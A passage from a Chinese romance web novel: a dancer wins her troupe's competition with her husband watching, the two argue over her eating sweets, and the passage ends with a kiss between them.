“还是别了吧,都说江山易改本性难移,性格这种东西,可不是一朝一夕就能改掉的。” 黎晚棠抓过沙发上的药品,穿上拖鞋,弯腰去端泡桶:“你千万别乱改,做自己就好。” 她好不容易习惯,并让自己接受古板且带着点爹味的傅砚深,真要莫名其妙改了,她还得重新去适应。 怪麻烦的。 “别动。”低沉的声音突然响起。 傅砚深快步走了过来,一把接过她手里的泡桶:“以后这种事有我在,不需要你做。” 走了两步,他又回头叮嘱:“你膝盖刚擦过药,早点回房去休息。” 黎晚棠愣怔地望着自己空荡荡的双手,而后缓缓直起腰,看向已经进入洗手间的男人,微挑了挑眉。 看吧,她还是习惯这样的傅砚深。 有爹味- 早上陪她晨练完,傅砚深就急匆匆去了公司。 下午一点,准时坐上飞往江城的飞机。 黎晚棠回到舞团就一直在排练,这些准确消息,还是沈老师打电话过来说的。 “砚深走之前跟我打电话了,说他这次出差有点急,你这次比赛不一定能赶回来。” 黎晚棠单手拿着手机,默默听着没吱声。 这些事傅砚深走之前跟她说过,而且她并不在意。 “他也担心你一个人在家不习惯,特意要我问问你,要不要回家来住两天。” 沈听荷说着,捂嘴意味深长地笑了笑:“瞧瞧,砚深还是挺关心你的。” 黎晚棠差点没被嘴里的饭菜噎死,急忙拿过水杯喝了口。 傅砚深这是不放心她膝盖旧伤,还是担心她在家里不会按时休息,临走还跟沈老师打去这通电话。 再说了,她怎么可能回去,真要被她爸妈发现端倪,这次比赛不就泡汤了。 “哎呀,我都搬进去那么久了,有什么不习惯的,他也太大惊小怪了。”黎晚棠撇嘴抱怨。 沈听荷低声笑道:“呦,看来你们小两口相处得还不错,你都开始把砚深那里当家了。” 黎晚棠:“……” 这话还能这么理解? 心里是这般想,嘴上却不反驳,黎晚棠默默转移话题:“明天你跟我爸都来吧。” 沈听荷:“嗯,都来,不光我和你爸,傅家人都来。” 黎晚棠拧眉,忙问:“你怎么把傅家人都叫来了?” 一个内部比赛而已,这也太兴师动众了。 “不是我叫的,你婆婆知道你有比赛,主动跟我要内场票,说是要亲自过来支持你。” 黎晚棠彻底不说话了,她和傅砚深虽然领证了,但是都还没改口。 沈老师这声婆婆喊出来,直接把她秒灭。 训练一整天回到家,黎晚棠习惯性先去泡脚。 边泡脚边懒洋洋地躺在沙发上,拿着手机和叶知薇发信息,告知她抢到票的事。 这次比赛,看似舞团内部组织的活动,但开通了网上直播,过来看现场的人还不少。 免费票更加难抢,沈老师是卖了老大面子,才拿到这些票的。 听团长的意思,上面领导是想趁这次比赛,与直播同步,借此来宣传他们东方舞蹈团。 电子票发送成功,黎晚棠见叶知薇简单回了个好,就知道她这会儿肯定是在忙。 放下手机,她整个人瘫在沙发上,目光无神地盯着天花板发呆。 察觉水温变凉,忙把脚拿了出来。 傅砚深说过,水温变低再泡下去没有任何效果,这句话她竟莫名地记住了。 擦干脚,黎晚棠穿上拖鞋,弯腰端起泡桶的那一刻,想起昨晚与今晚的区别。 也是在这时候她才发觉,家里有个男人其实也挺好。 起码她有作为他妻子的优待。 傅砚深不在家,黎晚棠晚饭随便拌了个蔬菜沙拉,一边刷着小视频,一边慢悠悠地吃着。 身边少了个念叨管束她的人,偌大的房子顿时呈现出一种,惬意而又舒适的自由氛围。 饭后,黎晚棠去阳台散步,半小时后换上衣服,前往舞蹈房训练。 只是她刚把腿放在把杆上,一旁的手机冷不丁响起。 黎晚棠偏头看清来电显示,着急忙慌地把脚拿了下来。 这完全是下意识的动作。 电话铃声响了好几遍,她深吸两口气,平复好气息后,缓缓接通:“喂。” “明天就要比赛了,预防你膝盖旧伤复发,今晚不许在家偷偷训练。” 傅砚深低沉且不容置疑的声音从电话那端传入耳廓,就像数学老师临时给她布置作业,极其惊悚。 耳边的话还在继续:“早点休息,睡眠充足,才有精力比赛。” 黎晚棠单手握着手机,仰头四处去查看,很怀疑这人是不是在家安装监控,不然怎么那么了解她的动态。 而且还那么及时! “傅砚深,你是魔鬼吗?”人都出差了,还特意给她打电话叮嘱这些,甚至算准她会偷偷去练习。 傅砚深眉头微拧,没懂她这话的意思,但也能想到她肯定是不高兴:“我这边还有事,先这样。” 黎晚棠那股气还没发泄完,那头已经挂断电话。 她拿下手机看了眼,视线又落在膝盖上,几秒后,用力深吸几口气,气呼呼地转身回房。 江城这边。 傅砚深刚挂断电话,萧仲就急忙上前提醒:“傅总,人还在会议室等着呢。” 傅砚深回头看他,脸上表情冷沉:“嗯。” 他把手机放回兜里,转身往会议室走。 萧仲一怔,低垂着头,忙跟了上去。 总觉得傅总打完这通电话心情不是很好,刚才案子聊到一半,他突然出声暂停,大家还以为是提出的融资案不行。 跟出来才发现,傅总是要急着打电话。 他不敢靠近,就远远地看着,从语气上分析应该是给家里人,脸上至少没有工作时的那股铁面无私的严肃劲。 可见傅总没说几句就挂了,回过头的脸色,比他出来的时候更严肃了几分。 萧仲不敢继续猜想下去,只知道这次行程安排得很满,他们现在还在公司加班,就是想快点完成这次的融资计划案。 能看得出来,傅总是着急回京北- 傅砚深说话虽然直,但句句都说在点上。 黎晚棠洗完澡就躺在床上,养精蓄锐,用好的状态迎接明天的比赛。 第二天,她很早就起床,穿上表演服,跟着音乐在家里跳了两遍完整版,确定每个动作没出错,才退出舞蹈房去洗澡。 换上衣服,黎晚棠直接去了演播厅。 比赛是在晚上八点举行,六点就有观众陆陆续续检票入场。 沈听荷进场前,先跑到后台来看她,黎晚棠这会儿正在化妆。 从镜中看母亲出现,她惊喜回头:“妈,你们这么快就过来了。” “刚到,你爸还在门口接你婆婆他们呢,我先过来看看你。” 沈听荷偏头打量她脸上的妆容,左右看了眼,会心一笑:“真漂亮,有我当年的影子。” 黎晚棠余光瞥见憋着笑意的化妆师,弯唇道:“夸我漂亮,非要带上你,真自恋。” 母女俩说话一直都这样,两人的相处模式不像母女,更像是朋友。 化妆师对沈听荷熟悉,笑着接话:“沈老师年轻时候的照片,可是我们国剧院的门面招牌,招牌生的女儿,当然也漂亮。” 两人被化妆师这话逗笑,而后又互夸了一遍。 沈听荷偏头拍了拍黎晚棠的肩,低声道:“别紧张,把这次当作你的独舞表演,忘掉比赛,你只要尽情享受这个舞台就行。” 黎晚棠知道母亲是特意过来安慰她的,以往的每一次比赛身边都有她陪着。 但这次不同,她不是老师而是观众,只能静静坐在台下欣赏她的表演。 “嗯,不紧张。”黎晚棠给母亲露出一个放松地微笑。 这时,沈听荷接到黎智海打来的电话,听到是接到人了,她拿着手机匆忙离开。 只是在转身时,她又忽而抬手给黎晚棠比了个加油手势:“棠棠,爸爸妈妈在台下帮你加油。” 或许是头一次见沈老师做这么幼稚的动作,黎晚棠捂嘴笑了起来。 妆发完成,所有参赛人员需要在候场区等待。 候场区正前方有块超大液晶屏,能看到台前的情况。 白露晞化完妆,快步跑到黎晚棠身旁落座:“哎呀,我节目太靠前了,搞得我好紧张。” 说着,她扭头问:“晚晚,你节目排第几啊。” 黎晚棠视线从屏幕移到她脸上,笑道:“我是倒数第二个,不紧张,但等待时间有点长。” “啊,倒数第二呢,这期间不得熬死。” 白露晞懒洋洋靠着座椅,轻声感慨:“算了,我这属于早死早超生,跳完后,还能有心情看接下来的比赛。” 黎晚棠笑了下没说话,她也清楚节目靠后运气挺差的。 不仅舞者本身需要调整好紧张的心态,观众的关注度下降,也会形成审美疲劳。 白露晞见黎晚棠不说话,察觉自己好像说错话了,忙改口:“不过你这个属于压轴表演了,我看好你哦。” 黎晚棠侧身撞了下她,夸道:“嘴真甜。” 八点比赛正式开始,第一个节目登台,舞台灯光变暗,现场一片安静。 此刻实时直播的人数也在逐渐上升,加上推流的效果,屏幕闪过的评论还算热闹。 黎晚棠认真观看每一个节目,屏幕前的舞者都是熟悉的面孔,看到台下评委及观众给予的掌声,后台人员也会欣慰地跟着鼓掌。 快轮到白露晞的节目时,她起身去侧台准备:“晚晚,我先走了。” 黎晚棠起身拥抱她:“放轻松,好好表现。” “嗯,你也一样。” 白露晞刚走没多久,罗恩和温若棠推门走了进来。 前排同事纷纷跟他们打招呼,罗恩笑着往里走,径直来到黎晚棠身旁:“晚棠,听说你节目比较靠后。” 黎晚棠偏头笑道:“嗯,运气好,我有足够的休息时间。” 排列的顺序没法改变,她这话也像在安慰自己。 温若棠在他们旁边坐下,嘴角轻扯:“看来你心态不错,希望能继续保持下去。” 她略过罗恩看黎晚棠,眼底藏着笑:“我们的节目排在中间,不早不晚刚刚好。” 两人眼神对视上,黎晚棠微挑了下眉,语气轻快:“恭喜啊,我就说罗师哥是福星吧,你看,有师哥在,你运气都变好了。” 意思是说,她所有的好运都是罗恩给的,跟她一毛钱关系都没有,她没必要在这炫耀。 温若棠动了动唇,气得握紧指尖,当着罗恩的面她不好说些什么,只能再次让黎晚棠得逞。 她和黎晚棠在舞蹈团里明面上看似和谐,私下彼此都没有好脸色,而她总想跟她比个高下,不管是说话还是表演,想占她上风。 原因无他,温若棠就单纯觉得,黎晚棠这辈子就是她的克星,不管什么场合只要有她在,所有的目光都能被她夺走。 这刻也是如此,罗恩看到她,完全忘了她才是他今晚的舞伴。 大家边看边分析舞蹈上的失误,时间也算过得快。 很快就轮到罗恩和温若棠去做准备。 不一会儿,屏幕显示他们两人的表演,两人配合得默契,雾气弥漫的舞台上,他们仿佛与音乐融为一体,无论是肢体动作,还是视觉效果非常完美。 镜头扫过台下观众,多数都是一脸沉浸欣赏的模样。 不可否认,他们这支舞蹈跳得真的很棒。 果不其然,直播间里也在这一刻刷屏,闪过去的弹幕还没看清就已经跳过去了。 反应很热烈。 现场也有同事开口:“有罗恩助跳,他们不拿奖都难。” “是啊,温若棠真会挑人,专挑我们团男首席。” “别羡慕,人家有那个本事,而且她跳得也不差。” 耳边的话还在继续,黎晚棠却无心听下去,默默起身穿过走廊,来到舞团后门的露台透气。 她似乎再晚出来几秒,候场区的空气能闷到窒息。 黎晚棠双手握住扶杆,仰头对着天空,深呼吸一口气。 尽管她的心态已经调整得很好,但在漫长的等待里,那种无形的压力围绕在身旁,挥随之不去。 特别是看了那么多优秀的节目后,纵然她有过诸多比赛经验,心底依旧会涌出紧张。 黎晚棠低头看了眼膝盖,而后蹲下身,掌心覆上轻轻按摩着:“老伙计,待会可别掉链子。” 释放完紧张的情绪,重新回到候场区,有同事叫她,说是可以去侧台准备了。 黎晚棠扫了眼所剩无几的同事,笑着给大家鼓劲,也是在给自己鼓劲:“大家加油。” “加油!” 黎晚棠转身后,对着虚空深吸一口气,她微垂着睫,提前让自己进入状态。 跳身韵需要形神兼备,内外统一,形成身心互融。 所以神韵是这段独舞的灵魂。 点头跟后台老师打过招呼,黎晚棠一步步踏上侧舞台,余光微瞥,竟能看到台下大片观众。 前两排的位置,正是她父母和傅家长辈,右手边是捂嘴犯困的叶知薇。 现在时间快到晚上十点,大家连坐好几个小时,确实会乏困。 黎晚棠弯唇,如果能带手机,她真想把叶知薇这一幕拍下来,事后好好嘲笑她一番。 正要收回时,余光不经意瞥见一道黑色身影。 男人身高腿长,此刻却稍稍弓着腰,越过人群,一点点挪到空出的位置上。 看到傅砚深出现的那一瞬,黎晚棠表情微怔,似乎很惊讶他能赶回来。 从他微乱的头发来看,应该走得很急。 不知为何,她原本心底的那点紧张,随着傅砚深的出现,竟慢慢退散。 想到这是独属于傅砚深的魔力,黎晚棠嘴角很浅地勾了下。 恰好这时,原本盯着主舞台看的男人,忽而偏头,他像是有感应般,漆黑的眸子不偏不倚地朝她这个方向看了过来。 隔着一扇薄薄的道具门,两人视线毫无征兆地对上。 第22章 男人眸色很深,抬头时,舞台灯光倒映在他脸上,将他清冷严峻的面容染上几抹暖光。 黎晚棠没有偷看被抓包的心虚,反倒大大方方伸手跟他打招呼,脸上露出一抹灿烂笑容。 这个笑不为别的,就为他及时赶回来看她的比赛。 先前对于他出不出现,她没有任何期待感,甚至来不来都无所谓,但是当他出现在台下的那一刻,她心情竟有说不出的愉悦。 或许是想证明自己,他这几日的陪练没白费,就在今晚,他将是那个最好的验收人。 傅砚深看到女孩脸上露出的笑容,眉眼间不自觉柔和下来。 瞬间觉得,他急忙赶回来是对的。 就算是单纯的内部比赛,他也不能错过,甚至缺席。 看着女孩盈满笑容的样子,傅砚深嘴角也难得牵起一抹细微的弧度,片刻,他无声说出三个字。 黎晚棠原本还在诧异这人刚才是不是笑了,在看懂他的嘴型后,低头轻笑起来。 她看懂了,傅砚深说的是——放轻松。 原来他也会安慰人。 黎晚棠收敛嘴角笑意,抬起头,信心十足地跟他比划一个OK手势。 上台前她或许还有点紧张,但看到台下坐着的家人朋友,她这会儿只想用心跳完这段舞蹈。 无关比赛,就单纯想展示给他们看。 当主持人报出她的节目后,舞台灯光忽地变暗,让原本已经昏昏欲睡的观众,瞬间来了精神。 仰头张望,大家的眸光里带着些许期待,似乎想看看是什么类型的舞蹈,需要如此昏暗的舞台效果。 就在这时,一束光打在舞台中央,水墨画屏风后,倒映出一道纤细的身影,女孩昂头翘指,如皮影戏般展现在观众面前。 别出心裁地出场设计,是黎晚棠跟编舞老师提议的,老师听完立马就采用了。 现在从台下观众的表情来看,效果确实不错。 随着音乐声从四面八方涌入,定格在屏风后的皮影,一点点舞蹈起来。 鞜樰證裡她足尖轻点,如蜻蜓掠水,旋转时,水袖从腰间缓缓舒展,升起的雾气瞬间被推开,像湖面荡开的一圈圈水波纹。 舞台效果美不胜收,像一幅梦里才会出现的画面。 遮挡的屏风从侧面移开,头顶灯光骤然亮起,台上翩翩起舞的皮影人,顷刻间像被注入灵魂,在耀眼的灯光下活了过来。 她俏皮地兰花指按住心口,仰起纤细的脖颈,眼波随着指尖的舞动,如望穿云霄。 宛如软丝般的腰肢一拧,双膝微曲,整个身子向后折叠,背脊瞬间弯成一道惊险的弧形。 台下有观众轻呼出声,似乎被她如此柔软的身姿所折服,让人不禁想到当年春晚爆火的青绿腰。 也是因为超高难度和独特美学的形态,引发全网模仿热潮。 而台上的表演者,有过之无不及的效果,体态甚至更加唯美。 傅砚深看到黎晚棠这个下腰动作,搭在扶手上的指尖微微收紧,目光有些担忧的落在,支撑她整个身型的膝盖上。 练习的时候,有好几次她膝盖支撑不住,直接摔倒在地。 完成这个动作,需要腿部和腰部的力量保持平衡,定格的这一分钟,她膝盖肯定会受力过度。 沈听荷对黎晚棠旧伤复发的事不知情,看到女儿弧线完美的下腰动作,眼眶微微泛红。 她抿了抿唇角,偏头跟宋徽音低声解释:“就这个下腰动作,棠棠应该练习过很多遍,难度非常大,动作稍有不慎,很容易韧带拉伤。” 宋徽音不懂跳舞背后的艰辛,听沈听荷这么说,瞬间心疼起来:“看来成为艺术家真不容易,棠棠从小就练舞,获得过那么多奖项,一看就是吃了不少苦。” 说着,她扭头去看姗姗来迟的傅砚深:“以后在家,你必须宠着点棠棠,你年纪比她大,会疼人这点优势别藏着,没事多拿出来晒晒。” “家里能干的事,你一并包揽,决不能让棠棠动手,你作为棠棠老公,有责任和义务让老婆开心,你性格沉闷死板,要是不会说话就少说点。” 宋徽音对自己儿子说话的语气,不用刻意去看她脸上表情,嫌弃的意味昭然若揭。 “……” 叶知薇微挑了下眉,拿着手机录视频的指尖轻抖了下,片刻后,捂嘴偷乐。 这是她第一次接触傅家的人,初次见面,觉得搞政治的人都挺正派的,行为举止颇有讲究。 但现在亲耳听到傅砚深母亲这番话,瞬间打破她对政界人士的刻板印象。 宋阿姨说话风趣诙谐,还蛮可爱的。 就她这态度,不知情的人还以为黎晚棠是亲生的,傅砚深才是那个上门女婿。 对于母亲这番言论,傅砚深或许是听过太多遍,不反驳,反而认真点头:“嗯,我知道。” 黎晚棠从小跳舞的艰辛,除了沈听荷夫妻俩清楚,他或许是最了解的那个人。 舞台上。 黎晚棠完全沉浸在自己的情绪里,不知台下观众的反应,更不知直播爆屏,此刻她全身心,用肢体动作去赋予这段舞蹈的灵魂。 不知过了多久,台上灯光再度变暗,轻盈舞动的画面,如流云踏月,昙花一现。 翩翩起舞的那道灵魂仿佛被黑暗笼罩,光束垂落,那抹剪影重新被定格在屏风之中。 音乐声缓缓落幕,逐渐平息。 观众后知后觉地反应过来,这段舞蹈,犹如给他们创造了一场美梦。 梦醒了,他们看到的依旧是最初那个皮影人。 欢呼声和掌声在这一刻同时响起,似乎只有这样,才能表达他们对这段舞蹈的喜爱。 原本陷入沉睡的现场,热情高涨,精气神十足。 黎晚棠从屏风后走出,弯腰朝台下观众,深深鞠了一躬。 起身时,余光看了眼前排位置,视线从家人们身上一一扫过,最后落在傅砚深身上。 他跟其他人一样,抬手鼓掌,但盯着她看的目光里,黎晚棠从他眸子里看出了几分骄傲。 是来自丈夫对妻子的那种骄傲,以及监督者的骄傲。 评委给予评论后,纷纷打下自己的分数,交给统分工作人员。 黎晚棠鞠躬下场,直到她走下舞台,热烈的掌声依旧在舞台上空飘荡。 今晚最后一支舞蹈结束,主持人邀请所有参赛人员上台。 白露晞还来不及跟黎晚棠细细寒暄,听到主持人的话,连忙拉着她快步往台上走。 “晚晚,你快往中间站,今晚的冠军非你莫属。” 她这支舞蹈演绎得真的很棒,彻底诠释了什么叫形神劲韵,宛若游龙戏云。 温若棠走过来时,听到白露晞这话,扯唇笑着调侃:“你倒是有自知之明,知道自己是个陪跑,安静做片绿叶。” 她声音不大,但周边人都能听到。 白露晞见不少同事笑着回头看她,气得咬牙:“说得你不像个陪跑似的。” “是不是,答案等会儿不就知道了。”温若棠面带微笑,语气里藏着自信。 白露晞还想回怼,胳膊忽然被黎晚棠轻扯了下,等她扭头时,她用眼神示意她,她们现在是在舞台上,台下观众能看到她们的一言一行。 “哼,走着瞧。” 白露晞咬牙从齿缝里挤一句,目光转向台下。 心想,打狗不急于一时,她等着看她如何打脸。 颁奖仪式开始,主持人慷慨激昂说着流程词。 侧台工作人员在密锣紧鼓地统计分数。 终于在主持人那番话落下时,分数统计完成。 女主持人拿到名单卡片,侧头看了眼参赛舞者,神秘一笑后,请出舞团领导进行颁奖。 黎晚棠的紧张早在上台前就用完了,这会儿身心放松,注意力全放在台下,此刻正挤眉弄眼跟叶知薇互动。 而台下的叶知薇不停地给她比划爱心,宛如一个死忠粉。 黎晚棠被她的动作逗笑,目光正要收回,不经意和傅砚深对上。 见人这会儿又恢复到一本正经的教授模样,她忽然起了逗弄他的心思,指尖也学叶知薇那般,悄悄给他比划一个爱心手势。 她理解的不是爱意,而是她膝盖旧伤复发,他对她照顾的感谢。 思想飞到九霄云外的黎晚棠,完全没注意听主持人报出的名次,直到胳膊被人猛撞了下,她才恍然回神。 黎晚棠下意识去看身旁的白露晞,轻声问:“怎么了?” 白露晞嘴角噙着浅笑,朝她挤眉弄眼:“你得奖了,主持人叫你呢。” “啊?” 黎晚棠表情忽愣,抬头才发现好多人都在看着她,包括他们舞团的领导。 反应过来后,黎晚棠快步上前,弯腰接过领导递过来的奖杯:“黎晚棠,恭喜你,成为这次比赛的总冠军。” “谢谢李团委——” 黎晚棠话刚说一半,忽然睁眼,有些震惊地看向眼前领导,不可置信地问道:“李团委,您刚才说,我是……冠军?” 李团委以为她是激动坏了,笑着又重复一遍,还说了些好好努力,为团争光的话。 黎晚棠笑着点头,视线落在手里的奖杯,好一会儿,她抬头看向台下,满心欢喜地拿起奖杯跟沈听荷他们挥手。 就到这时,她欢喜的目光突然被傅砚深比划的手势所吸引,定睛一看,是示意她看手表。 黎晚棠不知他的用意,目光低垂,落在右手腕上。 当看见表盘亮起,屏幕闪出几个大字,眸光顿住。 ——恭喜,实至名归,得偿所愿。 黎晚棠盯着这几个字看了许久,再次抬头,眼底竟闪过淡淡的湿润。 她什么都没说,把她努力看在眼里的傅砚深全懂了。 犯规。 他干嘛搞得那么严谨而又煽情的话,像文凭很高的样子。 好吧,他学历确实牛掰- 颁奖仪式结束,大家纷纷鞠躬下台。 白露晞快步跑到黎晚棠身旁,兴奋而又激动地恭喜:“晚晚,我就知道冠军非你莫属!” 余光瞥见走过来的温若棠,从她低落的表情来看,心里应该非常不爽,自己又是第二名。 白露晞视线落在她手里的银杯上,轻扯唇角:“晚晚,你要是红花我甘愿当你的绿叶,不像某些人,千年的老二还沾沾自喜,眼睛都长在天上了,目中无人。” “你说谁呢?” 温若棠获得第二名心里本来就不爽,现在听到她这话,瞬间火冒三丈:“有本事,你也拿个第二名看看。” “你……”白露晞气得跺脚。 “拿第二有什么意思。” 黎晚棠轻笑出声,举起自己的奖杯,偏头漫不经心观摩着:“第一名的奖杯才好看。” 这么直面开撕的场景不多见,下台的同事纷纷走了过来,饶有兴致地暗中看戏。 黎晚棠见温若棠脸色已经彻底变黑,余光扫了眼继续过来围观的同事,偏头跟白露晞打招呼:“我家人还在场外等我呢,就先走了。” 白露晞笑着挥手:“好嘞,拜拜。” 黎晚棠换好衣服,快步往场外走,刚到门口,就看到在一旁等待她的家人们,笑着小跑过去:“不好意思,让大家久等了。” 她脸上妆容还来不及卸,只是换上衣服,就小跑出来了。 宋徽音率先开口:“等我家冠军儿媳妇,多久我都愿意等。” 听到这个称呼,黎晚棠下意识去看傅砚深,见他面色淡然,甚至很习惯的样子,她眼眸低垂,稍有些不好意思走上前。 “棠棠,你一直是爸爸妈妈的骄傲。” 沈听荷上前拥抱住她,偏头豪不吝啬地夸奖:“编舞很有创新,加上你扎实的舞蹈功底,这个冠军你拿得实至名归。” 再次听到这句话,黎晚棠快速瞥了眼傅砚深,弯唇笑了:“你才知道,你女儿一直都很优秀。” 沈听荷失笑:“早知道了,这点我从不否认。” 大家跟着笑了起来,纷纷送上祝福。 宋徽音瞥了眼半天说上话的儿子,笑着开口:“天色不早了,我们等砚深忙完,这周末聚聚。” 沈听荷与宋徽音相识多年,怎会不明白她的言外之意,低头掩嘴笑了下,出声附和:“是不早了,棠棠他们也需要早点回去休息。” 两位母亲都发话了,其他人自然没意见,相互寒暄告别后,此刻只剩下叶知薇一个电灯泡。 她快步跑上前,一把将人抱住:“棠宝,今晚你美爆了,我眼睛一刻都没从你身上离开过,我还拍了好多美照,晚点发你!” 黎晚棠被她压得轻咳两声,笑着推她:“谢谢,稍微给我留口气。” 闻言,叶知薇忙松开她,好笑道:“理解一下,稍微有点激动。” 她没能完成的舞蹈梦,看到黎晚棠能有今日这番成绩,她是真心为她高兴。 她一直都认为,黎晚棠天生就是个舞蹈苗子。 知道再墨迹下去会不识趣,叶知薇拿出手机,点了点屏幕:“等会儿给你发我拍的视频。” 她顿了下,意味深长地朝黎晚棠挑眉:“长夜漫漫,我就不打扰你们了。” “……” 这人脑子里除了黄色废料,应该也没剩别的了。 目送叶知薇驱车离开,黎晚棠回头,越过喧嚣的人群,朝那道颀长的身影走了过去。 站定后,她抬头望他:“不是说赶不回吗?” 傅砚深低头,黑眸落下女孩扬起的嘴角上:“想亲自过来,检验训练成果。” “怎么样,结果还满意吗?” 他这话黎晚棠不反驳,她膝盖能坚持完这次比赛,而且没有复发,傅砚深合理安排的训练计划书,很有成效。 傅砚深不动声色扫过她手里的奖杯,点头:“嗯,满意。” 黎晚棠弯唇笑了笑,把奖拿了起来:“既然如此,那这个奖杯送给你,我今晚能拿奖,你功不可没。” “给我?” 傅砚深盯着女孩递过来的奖杯,表情愣怔。 其实惊讶偏多,她努力得来的奖杯,竟然轻而易举就送他了。 “嗯,给你。” 说着,黎晚棠弯腰牵起他的大手,把奖杯塞入他掌心:“这个荣耀给你,因为我想要的已经得到了。” 她需要的是这次机会,一个独舞的机会。 不仅限于这次比赛,而是全国巡演的独舞首秀作品。 那才是她想要的,她的目标就是要全国,甚至全世界的人,都能看到她的舞蹈表演。 傅砚深捏着手里沉甸甸的奖杯,五指下意识收紧,平静的黑眸像是被洒入星河的繁星- 上车后,黎晚棠兴致盎然地翻看叶知薇发给她的照片,完全没察觉身旁人安静得过分。 甚至多次分神,偏过头看她。 叶知薇很会抓拍镜头,连她跳跃起来的动作都清晰可见。 黎晚棠看得认真,边保存相片,边从背包里翻出糖果,三两下剥开糖纸,放入嘴里。 只是刚咀嚼了两下,忽然发现有什么不对劲。 两秒后,她迟缓抬眸,恰好撞上傅砚深看过来的目光。 黎晚棠动了动唇,茫然问:“……怎么了?” 她分神看了眼前方,原来是正值十字红绿灯路口。 “我不在家这期间,你是不是偷偷吃糖了?” 傅砚深声音低沉,盯着她手里还来不及放进包里的糖纸,语气压迫感十足。 黎晚棠下意识收拢手掌,而后把糖纸藏了起来。 刚才看照片太入迷,完全忘了某位教导主任还在车里。 他脸上的表情以及说话口吻,特别像抓到违反校规的学生现场。 黎晚棠快速嚼完嘴里的糖,顶着男人释放出来的压迫感,嘴硬道:“没有,就这次,不小心在你面前明目张胆吃了一回。” 傅砚深挑眉:“明目张胆?” 原来她并不想改掉吃甜食的习惯,之前答应他戒糖,只是临时敷衍他的借口。 黎晚棠听出他的咄咄逼人,拧眉不悦道:“傅砚深,我不就是吃了一颗糖吗,你反应干嘛那么大!” “再说,我妈在家都没控制我那么严格。” 黎晚棠真不明白,他为什么要管她吃糖,莫名其妙出现的一些家规就算了,现在吃颗糖的反应也那么大。 何况,她今天拿奖高兴,吃颗糖助助兴,他就不能通融一下嘛。 真是老古板! “吃糖的危害我跟你说过,对身体不好,尤其是你们舞者。” 傅砚深僵硬地语气柔了几分,见女孩紧抿唇不说话,目光再度转向前方,没再开口。 车内气氛被一颗糖破坏,回去的路上,谁都没开口说话。 开门进入玄关,傅砚深低声开口:“洗完澡,早点休息。” 黎晚棠走了两步发现不对劲,回头才发现他没换鞋,高大的身影还站在玄关处没动:“你……不进来吗?” 就因为在车上争论了两句,他便赌气不回家? 小心眼! “江城那边的事还没处理完,我订了凌晨一点的飞机。”傅砚深低声解释。 明早有个晨会,他必须回去敲定最后的融资方案,而且项目就差双方签合同,这个时候他更不能离开。 “啊?” 黎晚棠表情愣住,似乎没想到他今晚是抽空赶回来看她的比赛,现在还得匆忙赶回去,甚至屋都没进就要走。 霎时,她心生愧疚,心想早知道,在车上她就不该跟他顶嘴,乖乖顺着他好啦。 不就是吃颗糖嘛。 黎晚棠低头看了眼腕表,试探性说:“时间还来得及,你可以休息一下再走的。” “不了,路上我还需要看一些资料。”主要是不想影响她休息。 傅砚深刚要转身,指尖的硬物提醒他,奖杯还在他手里。 沉默片刻,他又转身换上拖鞋。 黎晚棠见他去而复返,眨眼问:“忘拿东西了?” “不是,我需要把它放好。”傅砚深用眼神示意了下手里的奖杯,径直掠过她往客厅走。 映入眼帘的视线有些凌乱,他脚步忽地停住。 沙发上随意摆放的抱枕,东倒西歪的遥控器,以及茶几上堆放的书籍。 走近,还能看到地毯上刚拆开包装的肌效贴。 傅砚深不动声色地拧了拧眉心,最后还是拿着奖杯进入书房,把东西小心放入保险柜内,返回客厅。 黎晚棠没进去,一直坐在沙发上等他。 见傅砚深走出书房后,直接往她坐的方向走了过来。 黎晚棠刚要开口说话,下一秒,男人俯身靠近,那股淡淡沉香飘入鼻尖。 她忽而屏住呼吸,轻眨着眼睫望着头顶上方的男人。 难不成,他是想来个离别吻? 他们是刚领证没多久的新婚夫妻,出差一日,难道就成了人们常说的,久别胜新婚。 或许是尝过甜头的原因,他有了这方面的需求? 这般想着,黎晚棠顿时能理解傅砚深此刻的做法,就在他继续往下靠近时。 她忽而闭上眼睛,微扬起下巴。 傅砚深捡起黎晚棠身后的抱枕,起身时,下巴不经意从女孩发顶划过,带起几缕青丝。 垂眸才发现,女孩怪异的姿势。 眼妆是她平日从未化过的粉蓝色,眼尾线条轻挑,闭眼时有点像孔雀的眼睛。 浓密纤长的睫毛在眼皮下形成一把浓密的扇子。而此刻这把扇子又像受惊的蝴蝶,轻轻颤抖着。 黎晚棠见人迟迟没动静,微微睁开眼,却猝不及防对上傅砚深那双略带茫然的黑眸,以及他手里拿着的抱枕。 霎时间,她恍然明白。 刚才她幻想的那些都是她的自作多情,人家压根不是要亲她! 看清楚了,他只是在单纯捡抱枕而已! 黎晚棠讪讪地舔了下唇,这一刻尴尬得好想死,傅砚深不会以为她很轻浮,脑子里尽想这种不纯洁的东西。 或者是时时刻刻在找机会,觊觎他的美色。 就当她别过头,准备起身时,下巴突然被一只大手捏住。 下一秒,男人从善如流地吻了下来。 第23章 下巴忽然被他指尖轻轻托起,带着点沉香气息压下来。 黎晚棠愣怔眨眼,唇瓣上温热的触感让她如触电一般,全身僵住。 她倒不是惊诧于这个吻,毕竟他们都吻过好几次,最开始还是她主动的,还不至于那么纯情。 只是没想到,在她以为自己是自作多情的时候,傅砚深毫无征兆地吻了下来。 难道是怕她尴尬,又或许看出她的意图,为了避免这种尴尬气氛继续蔓延,他索性成全她。 就在她胡思乱想时,唇瓣忽然传来一阵刺痛。 力道不重,但足以让她跑散的思绪骤然回神。 黎晚棠下意识抿住唇瓣,迷茫地盯着那双幽深的眸,不明白他为什么要咬她。 看出女孩眼底的疑惑,傅砚深先是抽开横在两人之间的抱枕,而后单手捧住她的脸,再次低头覆上。 “不是想接吻吗,那就专心点。” 男人声音轻柔缓慢,低沉中带着颗粒感的沙哑,每个字都透着诱惑。 “……” 黎晚棠错愕睁眼,脑中还在回想他那句“不是想接吻吗,那就专心点”。 他搞清楚状况好不好! 以为是他想,她才好心配合的,怎么从他嘴里变成她想了! 黎晚棠不服气,抬手就要去推他,想先解释这事清楚再亲,可男人却顺着她这个举动,直接单手扣住她手腕,强势举过头顶。 在他取下眼镜的同时,膝盖抵住沙发垫,整个人往下压了下来。 强势的动作彻底把她禁锢在他宽阔的胸膛下,无法动弹。 唇瓣再次被他密不透风的衔住,吻似乎比刚才更急,更热烈。他直接撬开她唇齿,畅通无阻地探入,勾住她的舌尖交缠。 原本还在挣扎的黎晚棠,逐渐被这个带着湿潮的吻所融化,呼吸也变得急促,脑子跟缺氧般,只能温顺的蜷缩在沙发一角,任由他索吻。 原本静谧的客厅里,两人的亲吻声被无限放大,充斥在耳边,羞得人脸通红。 围绕在周边的空气仿佛只需要一点火星,就能将其点燃。 